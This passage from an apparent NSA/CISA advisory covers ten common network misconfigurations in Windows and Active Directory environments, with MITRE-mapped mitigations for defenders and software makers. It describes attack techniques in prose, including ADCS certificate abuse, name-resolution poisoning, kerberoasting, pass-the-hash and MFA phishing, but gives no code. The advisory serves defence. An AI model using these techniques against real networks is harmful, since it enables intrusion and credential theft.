  • Mandating MFA, ideally phishing-resistant, for privileged users and making MFA a default rather than opt-in feature.[3]

Download the PDF version of this report: PDF, 660 KB

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13, and the MITRE D3FEND™ cybersecurity countermeasures framework.[4],[5] See the Appendix: MITRE ATT&CK tactics and techniques section for tables summarizing the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques, and the Mitigations section for MITRE D3FEND countermeasures.

For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.[6],[7]

Overview

Over the years, the following NSA and CISA teams have assessed the security posture of many network enclaves across the Department of Defense (DoD); Federal Civilian Executive Branch (FCEB); state, local, tribal, and territorial (SLTT) governments; and the private sector:

  • Depending on the needs of the assessment, NSA Defensive Network Operations (DNO) teams feature capabilities from Red Team (adversary emulation), Blue Team (strategic vulnerability assessment), Hunt (targeted hunt), and/or Tailored Mitigations (defensive countermeasure development).
  • CISA Vulnerability Management (VM) teams have assessed the security posture of over 1,000 network enclaves. CISA VM teams include Risk and Vulnerability Assessment (RVA) and CISA Red Team Assessments (RTA).[8] The RVA team conducts remote and onsite assessment services, including penetration testing and configuration review. RTA emulates cyber threat actors in coordination with an organization to assess the organization’s cyber detection and response capabilities.
  • CISA Hunt and Incident Response teams conduct proactive and reactive engagements, respectively, on organization networks to identify and detect cyber threats to U.S. infrastructure.

During these assessments, NSA and CISA identified the 10 most common network misconfigurations, which are detailed below. These misconfigurations (non-prioritized) are systemic weaknesses across many networks.

Many of the assessments were of Microsoft® Windows® and Active Directory® environments. This advisory provides details about, and mitigations for, specific issues found during these assessments, and so mostly focuses on these products. However, it should be noted that many other environments contain similar misconfigurations. Network owners and operators should examine their networks for similar misconfigurations even when running other software not specifically mentioned below.

1. Default Configurations of Software and Applications

Default configurations of systems, services, and applications can permit unauthorized access or other malicious activity. Common default configurations include:

  • Default credentials
  • Default service permissions and configurations settings
Default Credentials

Many software manufacturers release commercial off-the-shelf (COTS) network devices —which provide user access via applications or web portals—containing predefined default credentials for their built-in administrative accounts.[9] Malicious actors and assessment teams regularly abuse default credentials by:

  • Finding credentials with a simple web search [T1589.001] and using them [T1078.001] to gain authenticated access to a device.
  • Resetting built-in administrative accounts [T1098] via predictable forgotten passwords questions.
  • Leveraging default virtual private network (VPN) credentials for internal network access [T1133].
  • Leveraging publicly available setup information to identify built-in administrative credentials for web applications and gaining access to the application and its underlying database.
  • Leveraging default credentials on software deployment tools [T1072] for code execution and lateral movement.

In addition to devices that provide network access, printers, scanners, security cameras, conference room audiovisual (AV) equipment, voice over internet protocol (VoIP) phones, and internet of things (IoT) devices commonly contain default credentials that can be used for easy unauthorized access to these devices as well. Further compounding this problem, printers and scanners may have privileged domain accounts loaded so that users can easily scan documents and upload them to a shared drive or email them. Malicious actors who gain access to a printer or scanner using default credentials can use the loaded privileged domain accounts to move laterally from the device and compromise the domain [T1078.002].

Default Service Permissions and Configuration Settings

Certain services may have overly permissive access controls or vulnerable configurations by default. Additionally, even if the providers do not enable these services by default, malicious actors can easily abuse these services if users or administrators enable them.

Assessment teams regularly find the following:

  • Insecure Active Directory Certificate Services
  • Insecure legacy protocols/services
  • Insecure Server Message Block (SMB) service
Insecure Active Directory Certificate Services

Active Directory Certificate Services (ADCS) is a feature used to manage Public Key Infrastructure (PKI) certificates, keys, and encryption inside of Active Directory (AD) environments. ADCS templates are used to build certificates for different types of servers and other entities on an organization’s network.

Malicious actors can exploit ADCS and/or ADCS template misconfigurations to manipulate the certificate infrastructure into issuing fraudulent certificates and/or escalate user privileges to domain administrator privileges. These certificates and domain escalation paths may grant actors unauthorized, persistent access to systems and critical data, the ability to impersonate legitimate entities, and the ability to bypass security measures.

Assessment teams have observed organizations with the following misconfigurations:

  • ADCS servers running with web-enrollment enabled. If web-enrollment is enabled, unauthenticated actors can coerce a server to authenticate to an actor-controlled computer, which can relay the authentication to the ADCS web-enrollment service and obtain a certificate [T1649] for the server’s account. These fraudulent, trusted certificates enable actors to use adversary-in-the-middle techniques [T1557] to masquerade as trusted entities on the network. The actors can also use the certificate for AD authentication to obtain a Kerberos Ticket Granting Ticket (TGT) [T1558.001], which they can use to compromise the server and usually the entire domain.
  • ADCS templates where low-privileged users have enrollment rights, and the enrollee supplies a subject alternative name. Misconfiguring various elements of ADCS templates can result in domain escalation by unauthorized users (e.g., granting low-privileged users certificate enrollment rights, allowing requesters to specify a subjectAltName in the certificate signing request [CSR], not requiring authorized signatures for CSRs, granting FullControl or WriteDacl permissions to users). Malicious actors can use a low-privileged user account to request a certificate with a particular Subject Alternative Name (SAN) and gain a certificate where the SAN matches the User Principal Name (UPN) of a privileged account.

Note: For more information on known escalation paths, including PetitPotam NTLM relay techniques, see: Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints and Certified Pre-Owned, Active Directory Certificate Services.[10],[11],[12]

Insecure legacy protocols/services

Many vulnerable network services are enabled by default, and assessment teams have observed them enabled in production environments. Specifically, assessment teams have observed Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS), which are Microsoft Windows components that serve as alternate methods of host identification. If these services are enabled in a network, actors can use spoofing, poisoning, and relay techniques [T1557.001] to obtain domain hashes, system access, and potential administrative system sessions. Malicious actors frequently exploit these protocols to compromise entire Windows’ environments.

Malicious actors can spoof an authoritative source for name resolution on a target network by responding to passing traffic, effectively poisoning the service so that target computers will communicate with an actor-controlled system instead of the intended one. If the requested system requires identification/authentication, the target computer will send the user’s username and hash to the actor-controlled system. The actors then collect the hash and crack it offline to obtain the plain text password [T1110.002].

Insecure Server Message Block (SMB) service

The Server Message Block service is a Windows component primarily for file sharing. Its default configuration, including in the latest version of Windows, does not require signing network messages to ensure authenticity and integrity. If SMB servers do not enforce SMB signing, malicious actors can use machine-in-the-middle techniques, such as NTLM relay. Further, malicious actors can combine a lack of SMB signing with the name resolution poisoning issue (see above) to gain access to remote systems [T1021.002] without needing to capture and crack any hashes.

2. Improper Separation of User/Administrator Privilege

Administrators often assign multiple roles to one account. These accounts have access to a wide range of devices and services, allowing malicious actors to move through a network quickly with one compromised account without triggering lateral movement and/or privilege escalation detection measures.

Assessment teams have observed the following common account separation misconfigurations:

  • Excessive account privileges
  • Elevated service account permissions
  • Non-essential use of elevated accounts
Excessive Account Privileges

Account privileges are intended to control user access to host or application resources to limit access to sensitive information or enforce a least-privilege security model. When account privileges are overly permissive, users can see and/or do things they should not be able to, which becomes a security issue as it increases risk exposure and attack surface.

Expanding organizations can undergo numerous changes in account management, personnel, and access requirements. These changes commonly lead to privilege creep—the granting of excessive access and unnecessary account privileges. Through the analysis of topical and nested AD groups, a malicious actor can find a user account [T1078] that has been granted account privileges that exceed their need-to-know or least-privilege function. Extraneous access can lead to easy avenues for unauthorized access to data and resources and escalation of privileges in the targeted domain.

Elevated Service Account Permissions

Applications often operate using user accounts to access resources. These user accounts, which are known as service accounts, often require elevated privileges. When a malicious actor compromises an application or service using a service account, they will have the same privileges and access as the service account.

Malicious actors can exploit elevated service permissions within a domain to gain unauthorized access and control over critical systems. Service accounts are enticing targets for malicious actors because such accounts are often granted elevated permissions within the domain due to the nature of the service, and because access to use the service can be requested by any valid domain user. Due to these factors, kerberoasting—a form of credential access achieved by cracking service account credentials—is a common technique used to gain control over service account targets [T1558.003].

Non-Essential Use of Elevated Accounts

IT personnel use domain administrator and other administrator accounts for system and network management due to their inherent elevated privileges. When an administrator account is logged into a compromised host, a malicious actor can steal and use the account’s credentials and an AD-generated authentication token [T1528] to move, using the elevated permissions, throughout the domain [T1550.001]. Using an elevated account for normal day-to-day, non-administrative tasks increases the account’s exposure and, therefore, its risk of compromise and its risk to the network.

Malicious actors prioritize obtaining valid domain credentials upon gaining access to a network. Authentication using valid domain credentials allows the execution of secondary enumeration techniques to gain visibility into the target domain and AD structure, including discovery of elevated accounts and where the elevated accounts are used [T1087].

Targeting elevated accounts (such as domain administrator or system administrators) performing day-to-day activities provides the most direct path to achieve domain escalation. Systems or applications accessed by the targeted elevated accounts significantly increase the attack surface available to adversaries, providing additional paths and escalation options.

After obtaining initial access via an account with administrative permissions, an assessment team compromised a domain in under a business day. The team first gained initial access to the system through phishing [T1566], by which they enticed the end user to download [T1204] and execute malicious payloads. The targeted end-user account had administrative permissions, enabling the team to quickly compromise the entire domain.

3. Insufficient Internal Network Monitoring

Some organizations do not optimally configure host and network sensors for traffic collection and end-host logging. These insufficient configurations could lead to undetected adversarial compromise. Additionally, improper sensor configurations limit the traffic collection capability needed for enhanced baseline development and detract from timely detection of anomalous activity.

Assessment teams have exploited insufficient monitoring to gain access to assessed networks. For example:

  • An assessment team observed an organization with host-based monitoring, but no network monitoring. Host-based monitoring informs defensive teams about adverse activities on singular hosts and network monitoring informs about adverse activities traversing hosts [TA0008]. In this example, the organization could identify infected hosts but could not identify where the infection was coming from, and thus could not stop future lateral movement and infections.
  • An assessment team gained persistent deep access to a large organization with a mature cyber posture. The organization did not detect the assessment team’s lateral movement, persistence, and command and control (C2) activity, including when the team attempted noisy activities to trigger a security response. For more information on this activity, see CSA CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks.[13]

4. Lack of Network Segmentation

Network segmentation separates portions of the network with security boundaries. Lack of network segmentation leaves no security boundaries between the user, production, and critical system networks. Insufficient network segmentation allows an actor who has compromised a resource on the network to move laterally across a variety of systems uncontested. Lack of network segregation additionally leaves organizations significantly more vulnerable to potential ransomware attacks and post-exploitation techniques.

Lack of segmentation between IT and operational technology (OT) environments places OT environments at risk. For example, assessment teams have often gained access to OT networks—despite prior assurance that the networks were fully air gapped, with no possible connection to the IT network—by finding special purpose, forgotten, or even accidental network connections [T1199].

5. Poor Patch Management

Vendors release patches and updates to address security vulnerabilities. Poor patch management and network hygiene practices often enable adversaries to discover open attack vectors and exploit critical vulnerabilities. Poor patch management includes:

  • Lack of regular patching
  • Use of unsupported operating systems (OSs) and outdated firmware
Lack of Regular Patching

Failure to apply the latest patches can leave a system open to compromise from publicly available exploits. Due to their ease of discovery—via vulnerability scanning [T1595.002] and open source research [T1592]—and exploitation, these systems are immediate targets for adversaries. Allowing critical vulnerabilities to remain on production systems without applying their corresponding patches significantly increases the attack surface. Organizations should prioritize patching known exploited vulnerabilities in their environments.[2]

Assessment teams have observed threat actors exploiting many CVEs in public-facing applications [T1190], including:

  • CVE-2019-18935 in an unpatched instance of Telerik® UI for ASP.NET running on a Microsoft IIS server.[14]
  • CVE-2021-44228 (Log4Shell) in an unpatched VMware® Horizon server.[15]
  • CVE-2022-24682, CVE-2022-27924, and CVE-2022-27925 chained with CVE-2022-37042, or CVE-2022-30333 in an unpatched Zimbra® Collaboration Suite.[16]
Use of Unsupported OSs and Outdated Firmware

Using software or hardware that is no longer supported by the vendor poses a significant security risk because new and existing vulnerabilities are no longer patched. Malicious actors can exploit vulnerabilities in these systems to gain unauthorized access, compromise sensitive data, and disrupt operations [T1210].

Assessment teams frequently observe organizations using unsupported Windows operating systems without updates MS17-010 and MS08-67. These updates, released years ago, address critical remote code execution vulnerabilities.[17],[18]

6. Bypass of System Access Controls

A malicious actor can bypass system access controls by compromising alternate authentication methods in an environment. If a malicious actor can collect hashes in a network, they can use the hashes to authenticate using non-standard means, such as pass-the-hash (PtH) [T1550.002]. By mimicking accounts without the clear-text password, an actor can expand and fortify their access without detection. Kerberoasting is also one of the most time-efficient ways to elevate privileges and move laterally throughout an organization’s network.

7. Weak or Misconfigured MFA Methods

Misconfigured Smart Cards or Tokens

Some networks (generally government or DoD networks) require accounts to use smart cards or tokens. Multifactor requirements can be misconfigured so the password hashes for accounts never change. Even though the password itself is no longer used—because the smart card or token is required instead—there is still a password hash for the account that can be used as an alternative credential for authentication. If the password hash never changes, once a malicious actor has an account’s password hash [T1111], the actor can use it indefinitely, via the PtH technique for as long as that account exists.

Lack of Phishing-Resistant MFA

Some forms of MFA are vulnerable to phishing, “push bombing” [T1621], exploitation of Signaling System 7 (SS7) protocol vulnerabilities, and/or “SIM swap” techniques. These attempts, if successful, may allow a threat actor to gain access to MFA authentication credentials or bypass MFA and access the MFA-protected systems. (See CISA’s Fact Sheet Implementing Phishing-Resistant MFA for more information.)[3]

For example, assessment teams have used voice phishing to convince users to provide missing MFA information [T1598]. In one instance, an assessment team knew a user’s main credentials, but their login attempts were blocked by MFA requirements. The team then masqueraded as IT staff and convinced the user to provide the MFA code over the phone, allowing the team to complete their login attempt and gain access to the user’s email and other organizational resources.

8. Insufficient ACLs on Network Shares and Services

Data shares and repositories are primary targets for malicious actors. Network administrators may improperly configure ACLs to allow for unauthorized users to access sensitive or administrative data on shared drives.

Actors can use commands, open source tools, or custom malware to look for shared folders and drives [T1135].

  • In one compromise, a team observed actors use the net share command—which displays information about shared resources on the local computer—and the ntfsinfo command to search network shares on compromised computers. In the same compromise, the actors used a custom tool, CovalentStealer, which is designed to identify file shares on a system, categorize the files [T1083], and upload the files to a remote server [TA0010].[19],[20]
  • Ransomware actors have used the SoftPerfect® Network Scanner, netscan.exe—which can ping computers [T1018], scan ports [T1046], and discover shared folders—and SharpShares to enumerate accessible network shares in a domain.[21],[22]

Malicious actors can then collect and exfiltrate the data from the shared drives and folders. They can then use the data for a variety of purposes, such as extortion of the organization or as intelligence when formulating intrusion plans for further network compromise. Assessment teams routinely find sensitive information on network shares [T1039] that could facilitate follow-on activity or provide opportunities for extortion. Teams regularly find drives containing cleartext credentials [T1552] for service accounts, web applications, and even domain administrators.

Even when further access is not directly obtained from credentials in file shares, there can be a treasure trove of information for improving situational awareness of the target network, including the network’s topology, service tickets, or vulnerability scan data. In addition, teams regularly identify sensitive data and PII on shared drives (e.g., scanned documents, social security numbers, and tax returns) that could be used for extortion or social engineering of the organization or individuals.

9. Poor Credential Hygiene

Poor credential hygiene facilitates threat actors in obtaining credentials for initial access, persistence, lateral movement, and other follow-on activity, especially if phishing-resistant MFA is not enabled. Poor credential hygiene includes:

  • Easily crackable passwords
  • Cleartext password disclosure
Easily Crackable Passwords

Easily crackable passwords are passwords that a malicious actor can guess within a short time using relatively inexpensive computing resources. The presence of easily crackable passwords on a network generally stems from a lack of password length (i.e., shorter than 15 characters) and randomness (i.e., is not unique or can be guessed). This is often due to lax requirements for passwords in organizational policies and user training. A policy that only requires short and simple passwords leaves user passwords susceptible to password cracking. Organizations should provide or allow employee use of password managers to enable the generation and easy use of secure, random passwords for each account.

Often, when a credential is obtained, it is a hash (one-way encryption) of the password and not the password itself. Although some hashes can be used directly with PtH techniques, many hashes need to be cracked to obtain usable credentials. The cracking process takes the captured hash of the user’s plaintext password and leverages dictionary wordlists and rulesets, often using a database of billions of previously compromised passwords, in an attempt to find the matching plaintext password [T1110.002].

One of the primary ways to crack passwords is with the open source tool, Hashcat, combined with password lists obtained from publicly released password breaches. Once a malicious actor has access to a plaintext password, they are usually limited only by the account’s permissions. In some cases, the actor may be restricted or detected by advanced defense-in-depth and zero trust implementations as well, but this has been a rare finding in assessments thus far.

Assessment teams have cracked password hashes for NTLM users, Kerberos service account tickets, NetNTLMv2, and PFX stores [T1555], enabling the team to elevate privileges and move laterally within networks. In 12 hours, one team cracked over 80% of all users’ passwords in an Active Directory, resulting in hundreds of valid credentials.

Cleartext Password Disclosure

Storing passwords in cleartext is a serious security risk. A malicious actor with access to files containing cleartext passwords [T1552.001] could use these credentials to log into the affected applications or systems under the guise of a legitimate user. Accountability is lost in this situation as any system logs would record valid user accounts accessing applications or systems.

Malicious actors search for text files, spreadsheets, documents, and configuration files in hopes of obtaining cleartext passwords. Assessment teams frequently discover cleartext passwords, allowing them to quickly escalate the emulated intrusion from the compromise of a regular domain user account to that of a privileged account, such as a Domain or Enterprise Administrator. A common tool used for locating cleartext passwords is the open source tool, Snaffler.[23]

10. Unrestricted Code Execution

If unverified programs are allowed to execute on hosts, a threat actor can run arbitrary, malicious payloads within a network.

Malicious actors often execute code after gaining initial access to a system. For example, after a user falls for a phishing scam, the actor usually convinces the victim to run code on their workstation to gain remote access to the internal network. This code is usually an unverified program that has no legitimate purpose or business reason for running on the network.

Assessment teams and malicious actors frequently leverage unrestricted code execution in the form of executables, dynamic link libraries (DLLs), HTML applications, and macros (scripts used in office automation documents) [T1059.005] to establish initial access, persistence, and lateral movement. In addition, actors often use scripting languages [T1059] to obscure their actions [T1027.010] and bypass allowlisting—where organizations restrict applications and other forms of code by default and only allow those that are known and trusted. Further, actors may load vulnerable drivers and then exploit the drivers’ known vulnerabilities to execute code in the kernel with the highest level of system privileges to completely compromise the device [T1068].

MITIGATIONS

Network Defenders

NSA and CISA recommend network defenders implement the recommendations that follow to mitigate the issues identified in this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST) as well as with the MITRE ATT&CK Enterprise Mitigations and MITRE D3FEND frameworks.

The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.[24]

Mitigate Default Configurations of Software and Applications
MisconfigurationRecommendations for Network Defenders
Default configurations of software and applicationsModify the default configuration of applications and appliances before deployment in a production environment [M1013],[D3-ACH]. Refer to hardening guidelines provided by the vendor and related cybersecurity guidance (e.g., DISA’s Security Technical Implementation Guides (STIGs) and configuration guides).[25],[26],[27]
Default configurations of software and applications: Default CredentialsChange or disable vendor-supplied default usernames and passwords of services, software, and equipment when installing or commissioning [CPG 2.A]. When resetting passwords, enforce the use of “strong” passwords (i.e., passwords that are more than 15 characters and random [CPG 2.B]) and follow hardening guidelines provided by the vendor, STIGsNSA, and/or NIST [M1027],[D3-SPP].[25],[26],[28],[29]
Default service permissions and configuration settings: Insecure Active Directory Certificate ServicesEnsure the secure configuration of ADCS implementations. Regularly update and patch the controlling infrastructure (e.g., for CVE-2021-36942), employ monitoring and auditing mechanisms, and implement strong access controls to protect the infrastructure.If not needed, disable web-enrollment in ADCS servers. See Microsoft: Uninstall-AdcsWebEnrollment (ADCSDeployment) for guidance.[30]If web enrollment is needed on ADCS servers:Enable Extended Protection for Authentication (EPA) for Client Authority Web Enrollment. This is done by choosing the “Required” option. For guidance, see Microsoft: KB5021989: Extended Protection for Authentication.[31]Enable “Require SSL” on the ADCS server.Disable NTLM on all ADCS servers. For guidance, see Microsoft: Network security Restrict NTLM in this domain – Windows Security | Microsoft Learn and Network security Restrict NTLM Incoming NTLM traffic – Windows Security.[32],[33]Disable SAN for UPN Mapping. For guidance see, Microsoft: How to disable the SAN for UPN mapping – Windows Server. Instead, smart card authentication can use the altSecurityIdentities attribute for explicit mapping of certificates to accounts more securely.[34]Review all permissions on the ADCS templates on applicable servers. Restrict enrollment rights to only those users or groups that require it. Disable the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag from templates to prevent users from supplying and editing sensitive security settings within these templates. Enforce manager approval for requested certificates. Remove FullControlWriteDacl, and Write property permissions from low-privileged groups, such as domain users, to certificate template objects.
Default service permissions and configuration settings: Insecure legacy protocols/servicesDetermine if LLMNR and NetBIOS are required for essential business operations.If not required, disable LLMNR and NetBIOS in local computer security settings or by group policy.
Default service permissions and configuration settings: Insecure SMB serviceRequire SMB signing for both SMB client and server on all systems.[25] This should prevent certain adversary-in-the-middle and pass-the-hash techniques. For more information on SMB signing, see Microsoft: Overview of Server Message Block Signing. [35] Note: Beginning in Microsoft Windows 11 Insider Preview Build 25381, Windows requires SMB signing for all communications.[36]
Mitigate Improper Separation of User/Administrator Privilege
MisconfigurationRecommendations for Network Defenders
Improper separation of user/administrator privilege:Excessive account privileges,Elevated service account permissions, andNon-essential use of elevated accountsImplement authentication, authorization, and accounting (AAA) systems [M1018] to limit actions users can perform, and review logs of user actions to detect unauthorized use and abuse. Apply least privilege principles to user accounts and groups allowing only the performance of authorized actions.Audit user accounts and remove those that are inactive or unnecessary on a routine basis [CPG 2.D]. Limit the ability for user accounts to create additional accounts.Restrict use of privileged accounts to perform general tasks, such as accessing emails and browsing the Internet [CPG 2.E],[D3-UAP]. See NSA Cybersecurity Information Sheet (CSI) Defend Privileges and Accounts for more information.[37]Limit the number of users within the organization with an identity and access management (IAM) role that has administrator privileges. Strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles, and policies.Implement time-based access for privileged accounts. For example, the just-in-time access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model) by setting network-wide policy to automatically disable admin accounts at the Active Directory level. As needed, individual users can submit requests through an automated process that enables access to a system for a set timeframe. In cloud environments, just-in-time elevation is also appropriate and may be implemented using per-session federated claims or privileged access management tools.Restrict domain users from being in the local administrator group on multiple systems.Run daemonized applications (services) with non-administrator accounts when possible.Only configure service accounts with the permissions necessary for the services they control to operate.Disable unused services and implement ACLs to protect services.
Mitigate Insufficient Internal Network Monitoring
MisconfigurationRecommendations for Network Defenders
Insufficient internal network monitoringEstablish a baseline of applications and services, and routinely audit their access and use, especially for administrative activity [D3-ANAA]. For instance, administrators should routinely audit the access lists and permissions for of all web applications and services [CPG 2.O],[M1047]. Look for suspicious accounts, investigate them, and remove accounts and credentials, as appropriate, such as accounts of former staff.[39]Establish a baseline that represents an organization’s normal traffic activity, network performance, host application activity, and user behavior; investigate any deviations from that baseline [D3-NTCD],[D3-CSPP],[D3-UBA].[40]Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them [M1047].Implement a security information and event management (SIEM) system to provide log aggregation, correlation, querying, visualization, and alerting from network endpoints, logging systems, endpoint and detection response (EDR) systems and intrusion detection systems (IDS) [CPG 2.T],[D3-NTA].
Mitigate Lack of Network Segmentation
MisconfigurationRecommendations for Network Defenders
Lack of network segmentationImplement next-generation firewalls to perform deep packet filtering, stateful inspection, and application-level packet inspection [D3-NTF]. Deny or drop improperly formatted traffic that is incongruent with application-specific traffic permitted on the network. This practice limits an actor’s ability to abuse allowed application protocols. The practice of allowlisting network applications does not rely on generic ports as filtering criteria, enhancing filtering fidelity. For more information on application-aware defenses, see NSA CSI Segment Networks and Deploy Application-Aware Defenses.[41]Engineer network segments to isolate critical systems, functions, and resources [CPG 2.F],[D3-NI]. Establish physical and logical segmentation controls, such as virtual local area network (VLAN) configurations and properly configured access control lists (ACLs) on infrastructure devices [M1030]. These devices should be baselined and audited to prevent access to potentially sensitive systems and information. Leverage properly configured Demilitarized Zones (DMZs) to reduce service exposure to the Internet.[42],[43],[44]Implement separate Virtual Private Cloud (VPC) instances to isolate essential cloud systems. Where possible, implement Virtual Machines (VM) and Network Function Virtualization (NFV) to enable micro-segmentation of networks in virtualized environments and cloud data centers. Employ secure VM firewall configurations in tandem with macro segmentation.
Mitigate Poor Patch Management
MisconfigurationRecommendations for Network Defenders
Poor patch management: Lack of regular patchingEnsure organizations implement and maintain an efficient patch management process that enforces the use of up-to-date, stable versions of OSs, browsers, and software [M1051],[D3-SU].[45]Update software regularly by employing patch management for externally exposed applications, internal enterprise endpoints, and servers. Prioritize patching known exploited vulnerabilities.[2]Automate the update process as much as possible and use vendor-provided updates. Consider using automated patch management tools and software update tools.Where patching is not possible due to limitations, segment networks to limit exposure of the vulnerable system or host.
Poor patch management: Use of unsupported OSs and outdated firmwareEvaluate the use of unsupported hardware and software and discontinue use as soon as possible. If discontinuing is not possible, implement additional network protections to mitigate the risk.[45]Patch the Basic Input/Output System (BIOS) and other firmware to prevent exploitation of known vulnerabilities.
Mitigate Bypass of System Access Controls
MisconfigurationRecommendations for Network Defenders
Bypass of system access controlsLimit credential overlap across systems to prevent credential compromise and reduce a malicious actor’s ability to move laterally between systems [M1026],[D3-CH]. Implement a method for monitoring non-standard logon events through host log monitoring [CPG 2.G].Implement an effective and routine patch management process. Mitigate PtH techniques by applying patch KB2871997 to Windows 7 and newer versions to limit default access of accounts in the local administrator group [M1051],[D3-SU].[46]Enable the PtH mitigations to apply User Account Control (UAC) restrictions to local accounts upon network logon [M1052],[D3-UAP].Deny domain users the ability to be in the local administrator group on multiple systems [M1018],[D3-UAP].Limit workstation-to-workstation communications. All workstation communications should occur through a server to prevent lateral movement [M1018],[D3-UAP].Use privileged accounts only on systems requiring those privileges [M1018],[D3-UAP]. Consider using dedicated Privileged Access Workstations for privileged accounts to better isolate and protect them.[37]
Mitigate Weak or Misconfigured MFA Methods
MisconfigurationRecommendations for Network Defenders
Weak or misconfigured MFA methods: Misconfigured smart cards or tokens In Windows environments:Disable the use of New Technology LAN Manager (NTLM) and other legacy authentication protocols that are susceptible to PtH due to their use of password hashes [M1032],[D3-MFA]. For guidance, see Microsoft: Network security Restrict NTLM in this domain – Windows Security | Microsoft Learn and Network security Restrict NTLM Incoming NTLM traffic – Windows Security.[32],[33]Use built-in functionality via Windows Hello for Business or Group Policy Objects (GPOs) to regularly re-randomize password hashes associated with smartcard-required accounts. Ensure that the hashes are changed at least as often as organizational policy requires passwords to be changed [M1027],[D3-CRO]. Prioritize upgrading any environments that cannot utilize this built-in functionality.As a longer-term effort, implement cloud-primary authentication solution using modern open standards. See CISA’s Secure Cloud Business Applications (SCuBA) Hybrid Identity Solutions Architecture for more information.[47] Note: this document is part of CISA’s Secure Cloud Business Applications (SCuBA) project, which provides guidance for FCEB agencies to secure their cloud business application environments and to protect federal information that is created, accessed, shared, and stored in those environments. Although tailored to FCEB agencies, the project’s guidance is applicable to all organizations.[48]
Weak or misconfigured MFA methods: Lack of phishing-resistant MFAEnforce phishing-resistant MFA universally for access to sensitive data and on as many other resources and services as possible [CPG 2.H].[3],[49]
Mitigate Insufficient ACLs on Network Shares and Services
MisconfigurationRecommendations for Network Defenders
Insufficient ACLs on network shares and servicesImplement secure configurations for all storage devices and network shares that grant access to authorized users only.Apply the principal of least privilege to important information resources to reduce risk of unauthorized data access and manipulation.Apply restrictive permissions to files and directories, and prevent adversaries from modifying ACLs [M1022],[D3-LFP].Set restrictive permissions on files and folders containing sensitive private keys to prevent unintended access [M1022],[D3-LFP].Enable the Windows Group Policy security setting, “Do Not Allow Anonymous Enumeration of Security Account Manager (SAM) Accounts and Shares,” to limit users who can enumerate network shares.
Mitigate Poor Credential Hygiene
MisconfigurationRecommendations for Network Defenders
Poor credential hygiene: easily crackable passwords Follow National Institute of Standards and Technologies (NIST) guidelines when creating password policies to enforce use of “strong” passwords that cannot be cracked [M1027],[D3-SPP].[29] Consider using password managers to generate and store passwords.Do not reuse local administrator account passwords across systems. Ensure that passwords are “strong” and unique [CPG 2.B],[M1027],[D3-SPP].Use “strong” passphrases for private keys to make cracking resource intensive. Do not store credentials within the registry in Windows systems. Establish an organizational policy that prohibits password storage in files.Ensure adequate password length (ideally 25+ characters) and complexity requirements for Windows service accounts and implement passwords with periodic expiration on these accounts [CPG 2.B],[M1027],[D3-SPP]. Use Managed Service Accounts, when possible, to manage service account passwords automatically.
Poor credential hygiene: cleartext password disclosure Implement a review process for files and systems to look for cleartext account credentials. When credentials are found, remove, change, or encrypt them [D3-FE]. Conduct periodic scans of server machines using automated tools to determine whether sensitive data (e.g., personally identifiable information, protected health information) or credentials are stored. Weigh the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is of significant concern, technical controls, policy, and user training may prevent storage of credentials in improper locations.Store hashed passwords using Committee on National Security Systems Policy (CNSSP)-15 and Commercial National Security Algorithm Suite (CNSA) approved algorithms.[50],[51]Consider using group Managed Service Accounts (gMSAs) or third-party software to implement secure password-storage applications.
Mitigate Unrestricted Code Execution
MisconfigurationRecommendations for Network Defenders
Unrestricted code executionEnable system settings that prevent the ability to run applications downloaded from untrusted sources.[52]Use application control tools that restrict program execution by default, also known as allowlisting [D3-EAL]. Ensure that the tools examine digital signatures and other key attributes, rather than just relying on filenames, especially since malware often attempts to masquerade as common Operating System (OS) utilities [M1038]. Explicitly allow certain .exe files to run, while blocking all others by default.Block or prevent the execution of known vulnerable drivers that adversaries may exploit to execute code in kernel mode. Validate driver block rules in audit mode to ensure stability prior to production deployment [D3-OSM].Constrain scripting languages to prevent malicious activities, audit script logs, and restrict scripting languages that are not used in the environment [D3-SEA]. See joint Cybersecurity Information Sheet: Keeping PowerShell: Security Measures to Use and Embrace.[53]Use read-only containers and minimal images, when possible, to prevent the running of commands.Regularly analyze border and host-level protections, including spam-filtering capabilities, to ensure their continued effectiveness in blocking the delivery and execution of malware [D3-MA]. Assess whether HTML Application (HTA) files are used for business purposes in your environment; if HTAs are not used, remap the default program for opening them from mshta.exe to notepad.exe.

Software Manufacturers

NSA and CISA recommend software manufacturers implement the recommendations in Table 11 to reduce the prevalence of misconfigurations identified in this advisory. These mitigations align with tactics provided in joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-by-Design and -Default. NSA and CISA strongly encourage software manufacturers apply these recommendations to ensure their products are secure “out of the box” and do not require customers to spend additional resources making configuration changes, performing monitoring, and conducting routine updates to keep their systems secure.[1]

MisconfigurationRecommendations for Software Manufacturers
Default configurations of software and applicationsEmbed security controls into product architecture from the start of development and throughout the entire SDLC by following best practices in NIST’s Secure Software Development Framework (SSDF), SP 800-218.[54]Provide software with security features enabled “out of the box” and accompanied with “loosening” guides instead of hardening guides. “Loosening” guides should explain the business risk of decisions in plain, understandable language.
Default configurations of software and applications: Default credentialsEliminate default passwords: Do not provide software with default passwords that are universally shared. To eliminate default passwords, require administrators to set a “strong” password [CPG 2.B] during installation and configuration.
